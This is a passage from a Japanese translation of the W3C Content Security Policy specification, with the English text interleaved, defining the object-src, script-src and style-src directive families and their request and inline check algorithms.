次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `media-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.9. `object-src^dir
`object-src@dir 指令は、[ どの~URLから~plugin内容を読込んでもヨイか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "object-src" `directive-value$p = `serialized-source-list$p
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `object-src$dir https://example.com/
次の~codeによる~fetchは,~network~errorを返すことになる — 供された~URLは, `object-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will return a network errors, as the URL provided do not match object-src’s source list:
<embed src="https://example.org/flash"></embed> <object data="https://example.org/flash"></object>
~URLを伴わない~pluginにより内容が読込まれる場合 (たぶん、 `object$e 要素は `data$a 属性を欠いていて, 指定された `type^a に基づいて何らかの既定~pluginを読込もうとしている)、 `object-src$dir の値が `none$pl ならば,阻止されるモノトスル — 他の場合、 許容されることになる。 ◎ If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-src’s value is 'none', but will otherwise be allowed.
注記: `object-src$dir 指令は、[ `object$e / `embed$e ]要素がそれ自身のために為す どの要請に対しても動作する。 これには、 前者の 2 つ(~naviも含む)により生成される`子~navigable$を拡充させる要請も含まれる。 このことは、[ `object$e 要素のうち~MIME型が `text/html^c であるもの ]など,~dataが[ さもなければ別の指令により制約されるような内容 ]に意味論的に等価であるときにも該当する。 ◎ Note: The object-src directive acts upon any request made on behalf of an object or embed element. This includes requests which would populate the child navigable generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.
注記: ~plugin資源へ直に~navigateされるとき (すなわち、 `~navigable$の内側における`~plugin$ — [ `embed$e / `object$e ]を介して下位資源として埋込まれたものではなく)、 その資源に伴って送達された`施策$は,その結果の`文書$に適用されることになる。 よって開発者は、 一例として,応答に施策 `object-src 'none'^dir を伴わせて送達することにより、 ~pluginを内容とする任意な資源の実行を防止できることになる。 これにより、 力を備えた~plugin (および Flash その他がときに呈する, “面白い” ~security~model) がある下でも, `Rosetta Flash@https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/$en の様な攻撃~行路の~riskを軽減できるようになる。 ◎ Note: When a plugin resource is navigated to directly (that is, as a plugin inside a navigable, and not as an embedded subresource via embed or object), any policy delivered along with that resource will be applied to the resulting Document. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy object-src 'none' along with a response. Given plugins' power (and the sometimes-interesting security model presented by Flash and others), this could mitigate the risk of attack vectors like Rosetta Flash.
6.1.9.1. `object-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `object-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.9.2. `object-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `object-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.10. `script-src^dir
`script-src@dir 指令は、[ どの所在からの~scriptを実行してもヨイか ]を制約する。 これには、[ `script$e 要素の中に直に読込まれる~URL ]のみならず,[ ~inlineな~script~blockや~XSLT~stylesheet `XSLT$r の様な,~script実行を誘発し得るもの ]も含まれる。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "script-src" `directive-value$p = `serialized-source-list$p
`script-src$dir 指令は、 すべての`~scriptに類する$行先 ( `worker-src$dir が無い場合は、 ~workerに特有な行先も含む) 用の既定の~fallbackとして動作する。 細かさが欲されない限り、[ `script-src-attr$dir / `script-src-elem$dir ]よりも `script-src^dir が利用されるべきである。 ほとんどの状況においては、[ ~inlineな~event~handler, `script$e 要素 ]用に別々な許可~listを特に備える理由は無いので。 ◎ The script-src directive acts as a default fallback for all script-like destinations (including worker-specific destinations if worker-src is not present). Unless granularity is desired script-src should be used in favor of script-src-attr and script-src-elem as in most situations there is no particular reason to have separate lists of permissions for inline event handlers and script elements.
`script-src$dir 指令は、 次に挙げるものについて統治する: ◎ The script-src directive governs six things:
- ~script`要請$は、 `要請は~CSPにより阻止されるべきか?$A に合格しなければナラナイ。 ◎ Script requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?.
- ~script`応答$は、 `要請に対する応答は~CSPにより阻止されるべきか?$A に合格しなければナラナイ。 ◎ Script responses MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.
-
~inlineな `script$e 要素~blockは、 `要素における~inlineな型の挙動は~CSPにより阻止されるべきか?$A に合格しなければナラナイ。 その挙動は、 どの施策も 次のいずれかにより~inlineな~scriptを許容していない限り,阻止されることになる: ◎ Inline script blocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either\
- `script-src$dir (または `default-src$dir )指令を指定しないことにより、 暗黙的に。 ◎ implicitly by not specifying a script-src (or default-src) directive,\
- その~inlineな~blockに合致する[ `unsafe-inline$pl / `nonce-source$p / `hash-source$p ]を,明示的に指定することにより。 ◎ or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.
-
次に挙げる~JS実行~sink†は、 `unsafe-eval$pl ~source式で通過制御される ⇒# `eval()@~TC39#sec-eval-x$c / `Function()@~TC39#sec-function-objects$c / `setTimeout()$m のうち,第一~引数は~callableでないもの【!~callable Iscallable】/ `setInterval()$m のうち,第一~引数は~callableでないもの ◎ The following JavaScript execution sinks are gated on the "unsafe-eval" source expression: • eval() • Function() • setTimeout() with an initial argument which is not callable. • setInterval() with an initial argument which is not callable.
注記: [ `setImmediate()^m や `execScript()^m ]の様な標準でない~sinkを実装する~UAは、 それらも `unsafe-eval$pl 上で通過制御するベキである。 `unsafe-eval^l は~pageに大域的な~flagとして動作するので、 この検査を遂行するときには[ `script-src-attr$dir / `script-src-elem$dir ]は利用されないことに注意 — 代わりに `script-src$dir (または その~fallback指令)が常に利用される。 ◎ Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval". Note: Since "unsafe-eval" acts as a global page flag, script-src-attr and script-src-elem are not used when performing this check, instead script-src (or it’s fallback directive) is always used.
【† ~security文脈における~sink( “槽” )とは、 ~data~flowにおいて最初に~app層に渡される, 外部からの信用できない~data~sourceを意味する ( `参考@https://code.google.com/p/domxsswiki/wiki/Sinks$ )。 実行~sink( `execution sink^en )とは、 そのような~sinkのうち,[ ~scriptの~sourceとして構文解析され,実行され得る(したがって脆弱性の~sourceになり得る)~data~source ]を成すものを意味する。 】
-
次に挙げる~WebAssembly実行~sinkは、 ~source式[ `wasm-unsafe-eval$pl / `unsafe-eval$pl ]で通過制御される ⇒# `new WebAssembly.Module()@~WASM/js-api/#dom-module-module$c `WebAssembly.compile()@~WASM/js-api/#dom-webassembly-compile$c `WebAssembly.compileStreaming()@~WASM/web-api/#dom-webassembly-compilestreaming$c `WebAssembly.instantiate()@~WASM/js-api/#dom-webassembly-instantiate$c `WebAssembly.instantiateStreaming()@~WASM/web-api/#dom-webassembly-instantiatestreaming$c ◎ The following WebAssembly execution sinks are gated on the "wasm-unsafe-eval" or the "unsafe-eval" source expressions: • new WebAssembly.Module() • WebAssembly.compile() • WebAssembly.compileStreaming() • WebAssembly.instantiate() • WebAssembly.instantiateStreaming()
注記: ~source式 `wasm-unsafe-eval$pl は、 より特定な~source式である。 特に,~source式 `unsafe-eval$pl は、 ~WebAssemblyの~compilation(および~instance化)を許可することに加え, 例えば~JSにおける `eval()^c 【!eval】演算の利用も許可する。 ~source式 `wasm-unsafe-eval$pl は、 ~WebAssemblyのみを許可し,~JSには影響しない。 ◎ Note: the "wasm-unsafe-eval" source expression is the more specific source expression. In particular, "unsafe-eval" permits both compilation (and instantiation) of WebAssembly and, for example, the use of the "eval" operation in JavaScript. The "wasm-unsafe-eval" source expression only permits WebAssembly and does not affect JavaScript.
- `javascript_^sc ~URLへの~naviは、 `要素における~inlineな型の挙動は~CSPにより阻止されるべきか?$A に合格しなければナラナイ。 そのような~naviが,~scriptを実行するのは、 上の第 3 項【!#3】により,あらゆる施策が~inline~scriptを許容する場合に限られることになる。 ◎ Navigation to javascript: URLs MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Such navigations will only execute script if every policy allows inline script, as per #3 above.
6.1.10.1. `script-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `script-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".
- ~RET `~script指令の要請前~検査$A( %要請, この指令, %施策 ) ◎ Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, and policy.
6.1.10.2. `script-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `script-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".
- ~RET `~script指令の要請後~検査$A( %要請, %応答, この指令, %施策 ) ◎ Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, and policy.
6.1.10.3. `script-src^dir ~inline検査
次の~algoが、 この指令の`~inline検査$Aを与える: ◎ This directive’s inline check algorithm is as follows:
所与の ( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source ) に対し: ◎ Given an Element element, a string type, a policy policy and a string source:
- ~Assert: [ %要素 ~NEQ ~NULL ]~OR[ %型 ~EQ `navigation^l ] ◎ Assert: element is not null or type is "navigation".
- %名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `script-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".
- ~IF[ `要素 は ( 型, ~source ) について~source~listに合致するか?$A( %要素, この指令の`値$, %型, %~source ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.11. `script-src-elem^dir
この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "script-src-elem" `directive-value$p = `serialized-source-list$p
`script-src-elem@dir 指令は、 すべての[ ~script要請 / ~script~block ]に適用される。 ~scriptを実行する属性(~inlineな~event~handler)は、 `script-src-attr$dir を介して制御される。 ◎ The script-src-elem directive applies to all script requests and script blocks. Attributes that execute script (inline event handlers) are controlled via script-src-attr.
そのようなわけで, `script-src$dir に比較して次の相違点が存在する: ◎ As such, the following differences exist when comparing to script-src:
- `script-src-elem^dir が各種~inline検査に適用されるのは、 %型 ~IN { `script^l, `navigation^l } のときであり, %型 ~EQ `script attribute^l のときには無視される。 ◎ script-src-elem applies to inline checks whose |type| is "script" and "navigation" (and is ignored for inline checks whose |type| is "script attribute").
- `script-src-elem^dir の`値$は、[ `unsafe-eval^l 検査に対し通過制御される,~JS実行~sink検査 ]用には利用されない。 ◎ script-src-elem’s value is not used for JavaScript execution sink checks that are gated on the "unsafe-eval" check.
- `script-src-elem^dir は、 `worker-src$dir 指令~用の~fallbackとしては利用されない。 `worker-src^dir 検査は、 依然として, `script-src$dir 指令に~fall-backする。 ◎ script-src-elem is not used as a fallback for the worker-src directive. The worker-src checks still fall back on the script-src directive.
6.1.11.1. `script-src-elem^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `script-src-elem$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".
- ~RET `~script指令の要請前~検査$A( %要請, この指令, %施策 ) ◎ Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, and policy.
6.1.11.2. `script-src-elem^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `script-src-elem$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".
- ~RET `~script指令の要請後~検査$A( %要請, %応答, この指令, %施策 ) ◎ Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, and policy.
6.1.11.3. `script-src-elem^dir ~inline検査
次の~algoが、 この指令の`~inline検査$Aを与える: ◎ This directive’s inline check algorithm is as follows:
所与の ( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source ) に対し: ◎ Given an Element element, a string type, a policy policy and a string source:
- ~Assert: [ %要素 ~NEQ ~NULL ]~OR[ %型 ~EQ `navigation^l ] ◎ Assert: element is not null or type is "navigation".
- %名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `script-src-elem$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem, and policy is "No", return "Allowed".
- ~IF[ `要素 は ( 型, ~source ) について~source~listに合致するか?$A( %要素, この指令の`値$, %型, %~source ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.12. `script-src-attr^dir
この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "script-src-attr" `directive-value$p = `serialized-source-list$p
`script-src-attr@dir 指令は、 ~event~handlerに適用され、 在る場合,関連な検査~用に `script-src$dir 指令を上書きすることになる。 ◎ The script-src-attr directive applies to event handlers and, if present, it will override the script-src directive for relevant checks.
6.1.12.1. `script-src-attr^dir ~inline検査
次の~algoが、 この指令の`~inline検査$Aを与える: ◎ This directive’s inline check algorithm is as follows:
所与の ( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source ) に対し: ◎ Given an Element element, a string type, a policy policy and a string source:
- ~Assert: [ %要素 ~NEQ ~NULL ]~OR[ %型 ~EQ `navigation^l ] ◎ Assert: element is not null or type is "navigation".
- %名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `script-src-attr$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-attr and policy is "No", return "Allowed".
- ~IF[ `要素 は ( 型, ~source ) について~source~listに合致するか?$A( %要素, この指令の`値$, %型, %~source ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.13. `style-src^dir
`style-src@dir 指令は、[ どの所在からの~styleを`文書$に適用してもヨイかどうか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "style-src" `directive-value$p = `serialized-source-list$p
`style-src$dir 指令は、 次について統治する: ◎ The style-src directive governs several things:
-
~style`要請$は、 `要請は~CSPにより阻止されるべきか?$A に合格しなければナラナイ。 これには、 次のものが含まれる: ◎ Style requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?. This includes:
- `link$e 要素から生じている~stylesheet要請 ◎ Stylesheet requests originating from a link element.
- `~at_import$ 規則から生じている~stylesheet要請 ◎ Stylesheet requests originating from the @import rule.
- `Link$h ~HTTP応答~headerから生じている~stylesheet要請 `RFC8288$r ◎ Stylesheet requests originating from a Link HTTP response header field [RFC8288].
- ~style要請に対する`応答$は、 `要請に対する応答は~CSPにより阻止されるべきか?$A に合格しなければナラナイ。 ◎ Responses to style requests MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.
-
~inlineな `style$e 要素~blockは、 `要素における~inlineな型の挙動は~CSPにより阻止されるべきか?$A に合格しなければナラナイ。 その~styleは、 どの施策も 次のいずれかにより~inlineな~styleを許容していない限り,阻止されることになる:
- `style-src$dir (または `default-src$dir )指令を指定しないことにより、 暗黙的に。
- その~inlineな~blockに合致する[ `unsafe-inline$pl / `nonce-source$p / `hash-source$p ]を指定することにより,明示的に。
-
次の~CSS~algoは、 `unsafe-eval$pl ~source式で通過制御される: ◎ The following CSS algorithms are gated on the unsafe-eval source expression:
- `~CSS規則を挿入する$ ◎ insert a CSS rule
- `~CSS規則として構文解析する$ ◎ parse a CSS rule,
- `~CSS宣言~blockを構文解析する$ ◎ parse a CSS declaration block
- `選択子~listとして構文解析する$ ◎ parse a group of selectors
これには、 例えば, CSSOM の各種~interface上の[ `cssText^m 設定子 / `insertRule()^m ~method ]に対する すべての呼出nが含まれることになる。 `CSSOM$r `HTML$r ◎ This would include, for example, all invocations of CSSOM’s various cssText setters and insertRule methods [CSSOM] [HTML].
これは、 もっと良く説明される必要がある。 [`212$issue] ◎ This needs to be better explained. [Issue #w3c/webappsec-csp#212]
6.1.13.1. `style-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `style-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".
- ~IF[ `~nonceは~source~listに合致するか?$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.13.2. `style-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `style-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".
- ~IF[ `~nonceは~source~listに合致するか?$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.13.3. `style-src^dir ~inline検査
次の~algoが、 この指令の`~inline検査$Aを与える: ◎ This directive’s inline check algorithm is as follows:
所与の ( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source ) に対し: ◎ Given an Element element, a string type, a policy policy and a string source:
- %名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `style-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".
- ~IF[ `要素 は ( 型, ~source ) について~source~listに合致するか?$A( %要素, この指令の`値$, %型, %~source ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.13.4. `style-src^dir 初期化
次の~algoが、 この指令の`初期化$Aを与える: ◎ This directive’s initialization algorithm is as follows:
-
CSSOM の~algoを監禁するために,実行~文脈に関わる何かをする。 CSSOM がこのための~hookを与えることは見込めないので、 【!*】 `let’s work with them to put something reasonable together.^en ◎ Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.
【 この節は,原文では前~節の一部を成しているが、 他所と一貫させるため,独立な節に分けている。 】
6.1.14. `style-src-elem^dir
この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "style-src-elem" `directive-value$p = `serialized-source-list$p
`style-src-elem@dir 指令は、 ~inline属性~内に定義されるもの以外の,~styleの挙動を統治する。 ◎ The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.
6.1.14.1. `style-src-elem^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `style-src-elem$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".
- ~IF[ `~nonceは~source~listに合致するか?$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.14.2. `style-src-elem^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `style-src-elem$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".
- ~IF[ `~nonceは~source~listに合致するか?$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ ) ~EQ `合致する^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.14.3. `style-src-elem^dir ~inline検査
次の~algoが、 この指令の`~inline検査$Aを与える: ◎ This directive’s inline check algorithm is as follows:
所与の ( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source ) に対し: ◎ Given an Element element, a string type, a policy policy and a string source:
- %名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `style-src-elem$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".
- ~IF[ `要素 は ( 型, ~source ) について~source~listに合致するか?$A( %要素, この指令の`値$, %型, %~source ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.15. `style-src-attr^dir
この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "style-src-attr" `directive-value$p = `serialized-source-list$p
`style-src-attr@dir 指令は、 ~style属性の挙動を統治する。 ◎ The style-src-attr directive governs the behaviour of style attributes.
